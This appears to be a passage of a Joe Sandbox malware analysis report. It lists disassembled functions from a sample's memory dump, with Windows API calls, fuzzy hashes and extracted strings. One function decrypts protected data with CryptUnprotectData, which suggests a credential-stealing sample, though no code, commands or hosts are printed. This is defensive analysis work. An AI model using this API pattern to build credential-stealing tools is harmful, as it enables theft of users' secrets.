Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e32b4692d2d47374cdbf35f73c8c1fb8b4e009dde064d2717e46a4e2d8a65776
Instruction ID: 4114e81c529c00c6659f4bb76314ce0a9d0dddd771a014a2cbf73b22f6573084
Opcode Fuzzy Hash: e32b4692d2d47374cdbf35f73c8c1fb8b4e009dde064d2717e46a4e2d8a65776
Instruction Fuzzy Hash: AF010C75A00318ABDB14DFA5DD88BEDBBF9FB48701F104298A909A6240D7349B44CF61

Function 009D55C3 Relevance: 6.6, Strings: 4, Instructions: 1630COMMON

Download Yara Rule

Strings

ox6s, xrefs: 009D643B
[lg=, xrefs: 009D639D
j"~_, xrefs: 009D5A3D
O}?, xrefs: 009D614C

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: O}?$[lg=$j"~_$ox6s
API String ID: 0-1547867405
Opcode ID: 4460ba1c3123cc68d1c2f8652a95212427b58edd912af9e8ebd71f71c063c89f
Instruction ID: 7dd465cc92ed3da8192977231344eb1b367a7a942d7aa18a57b36458c3af9a4f
Opcode Fuzzy Hash: 4460ba1c3123cc68d1c2f8652a95212427b58edd912af9e8ebd71f71c063c89f
Instruction Fuzzy Hash: 24B219F3A0C2049FE3086E2DEC9567ABBE9EF94320F16453DEAC587744EA3558048797

Function 009CEB0F Relevance: 6.6, Strings: 4, Instructions: 1609COMMON

Download Yara Rule

Strings

W7{+, xrefs: 009CF3E6
|[q7, xrefs: 009CF3AB
d%F, xrefs: 009CEF40
F1>y, xrefs: 009CFB80

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F1>y$W7{+$d%F$|[q7
API String ID: 0-3669604176
Opcode ID: b0a6ec2b70337e6c515422d709e813719c4b836e3379e41e00abc772b71b8cea
Instruction ID: d36e500c285596c78ad73e62da266de779ce29eaaff87a6521ba553558aa9fb5
Opcode Fuzzy Hash: b0a6ec2b70337e6c515422d709e813719c4b836e3379e41e00abc772b71b8cea
Instruction Fuzzy Hash: 9DB218F360C2049FE7046E29EC8567ABBEAEFD4720F1A453DE6C4C7744EA3598018697

Function 00628EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00615184,40000001,00000000,00000000,?,00615184), ref: 00628EC0

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: c05ed17a2b228801b9ac9f6cabbe2cbc39e61b4f6fb1e7cb5bb39811027ba440
Instruction ID: 851462d85b06a26289dfde10d3323006e069a7dafc9da749325c2d34cb799541
Opcode Fuzzy Hash: c05ed17a2b228801b9ac9f6cabbe2cbc39e61b4f6fb1e7cb5bb39811027ba440
Instruction Fuzzy Hash: 8F110370201608BFDB04CF64EC84FAA37AABF89341F109558F9198B250DB39E842DF60

Function 00627A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0111DF18,00000000,?,00630E10,00000000,?,00000000,00000000), ref: 00627A63
RtlAllocateHeap.NTDLL(00000000), ref: 00627A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0111DF18,00000000,?,00630E10,00000000,?,00000000,00000000,?), ref: 00627A7D
wsprintfA.USER32 ref: 00627AB7

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 1cc82cae435535d6e8e46d06d7c63d3354eb048613632ae22776bd7877dd0966
Instruction ID: 1b4e3249997b30915e1a2d328bab7b94817ecbb6ff066db729aaa9a9fbbca956
Opcode Fuzzy Hash: 1cc82cae435535d6e8e46d06d7c63d3354eb048613632ae22776bd7877dd0966
Instruction Fuzzy Hash: F311A5B1945628EBEB14CF54DC55FA9B778FB04722F1043A5E906932C0C7745E40CF51

Function 00623720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0062E118,00000000,00000001,0062E108,00000000), ref: 00623758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006237B0

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: b3156e131bbb9c17cf4389c19416709e04e537372b705d3560a2c373dc7ead01
Instruction ID: 6a021a10c8a1e2ae1a2ea331af8f2cea11b1e55239ba5f547637a54fbe686f51
Opcode Fuzzy Hash: b3156e131bbb9c17cf4389c19416709e04e537372b705d3560a2c373dc7ead01
Instruction Fuzzy Hash: 80410971A00A289FDB24DF58DC94B9BB7B5BB48702F4081D8E608EB2D0E7756E85CF50

Function 00619B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00619B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00619BA3
LocalFree.KERNEL32(?), ref: 00619BD3

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 308f73c75a5942d3d98b9ccc460b13450ab769be47c41bec47ceafe03781185e
Instruction ID: 8fd2dc5d3501b3870dfa8d485d72bb8f9ad0f596a9cd572542431d1925548c8c
Opcode Fuzzy Hash: 308f73c75a5942d3d98b9ccc460b13450ab769be47c41bec47ceafe03781185e
Instruction Fuzzy Hash: 9011C9B8A00209EFDB04DF94D985AEEB7B5FF88301F104598E915A7350D774AE50CFA1

Function 009CB578 Relevance: 4.2, Strings: 2, Instructions: 1653COMMON

Download Yara Rule

Strings

jqn, xrefs: 009CC5AA
O_CE, xrefs: 009CBFD8

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: O_CE$jqn
API String ID: 0-219872878
Opcode ID: 9843c825a904ce8ef9555aa8276c9665bec8db1dae8d4ec98cd46f4179206125
Instruction ID: 086be442f3abc391205ddf7fd61b498ac5526b3c245d6f74c7f6f18492a316bd
Opcode Fuzzy Hash: 9843c825a904ce8ef9555aa8276c9665bec8db1dae8d4ec98cd46f4179206125
Instruction Fuzzy Hash: 04B2F8F36082009FE308AE2DEC9577ABBE9EFD4320F1A453DE6C5C7744EA3558418696

Function 008F0FEF Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

kBM, xrefs: 008F1294

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: kBM
API String ID: 0-2784965917
Opcode ID: 162fc4671418f9ad34e4e2bb40c95451581a5d137e591c8cd937fd83f44b2222
Instruction ID: 2dbc73f30ccc827c390e72163aacbffa537986f6d13eed6c8dcbfb5e831b2759
Opcode Fuzzy Hash: 162fc4671418f9ad34e4e2bb40c95451581a5d137e591c8cd937fd83f44b2222
Instruction Fuzzy Hash: 698124B39083189FE3046E3DDC8432AFBD9EB94760F174A3EEAC4D3644E57959058792

Function 0094DEB8 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

' uv, xrefs: 0094E0E6

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ' uv
API String ID: 0-3485620161
Opcode ID: 366b32958a1e2c62870a030b87f0eaf78a3d381a70a1b0e60c1288a8af3e7ea1
Instruction ID: 24e2d6c36823705dfe45f40075b4983395de27e0be942535cadc42ea6592753c
Opcode Fuzzy Hash: 366b32958a1e2c62870a030b87f0eaf78a3d381a70a1b0e60c1288a8af3e7ea1
Instruction Fuzzy Hash: 495135F3E093105BF3016E29DCC136ABBD6DB98324F2B863DDA8893784E9395C0546C6

Function 009BDAAB Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82d5adef1a723985f1da7eaa05f0f89a02db1eafb5e23e06c6b08fd9f74bc837
Instruction ID: 825d95d3a41330a350df74f9b95c0e143c00207aa2593a9ed10275585157c67e
Opcode Fuzzy Hash: 82d5adef1a723985f1da7eaa05f0f89a02db1eafb5e23e06c6b08fd9f74bc837
Instruction Fuzzy Hash: 726135F3A082189FE310BE3DEC4576AFBE9EB94350F16853DE9C897384E93558048692

Function 0091014B Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21c33109924291e3a8cbf0f2485fae14e5d3267181b70518bfd091ed150e1a90
Instruction ID: 3768a22af1633f94ecb81c18eaff0ad65ae44ebb3dc16f31041d3254e0d59d07
Opcode Fuzzy Hash: 21c33109924291e3a8cbf0f2485fae14e5d3267181b70518bfd091ed150e1a90
Instruction Fuzzy Hash: 016157F3A0C3009BE308AE2DDC957BABBE5EF94720F1A463DE7C583784E97554018692

Function 008EF31C Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b8680ee9730a6766022511b985b81720293391f5ad87f649248ab40f10db18
Instruction ID: 85f3b7b66aa3dc1ba8797239a77f38ac39ea8cc70e8a6d5ef57e6a48e8fdd0c9
Opcode Fuzzy Hash: 85b8680ee9730a6766022511b985b81720293391f5ad87f649248ab40f10db18
Instruction Fuzzy Hash: 9C516AF3E092105BE308AE2EDD8427AF7E6EBC0310F168A3DE6C597748E93548058796

Function 009C0A82 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

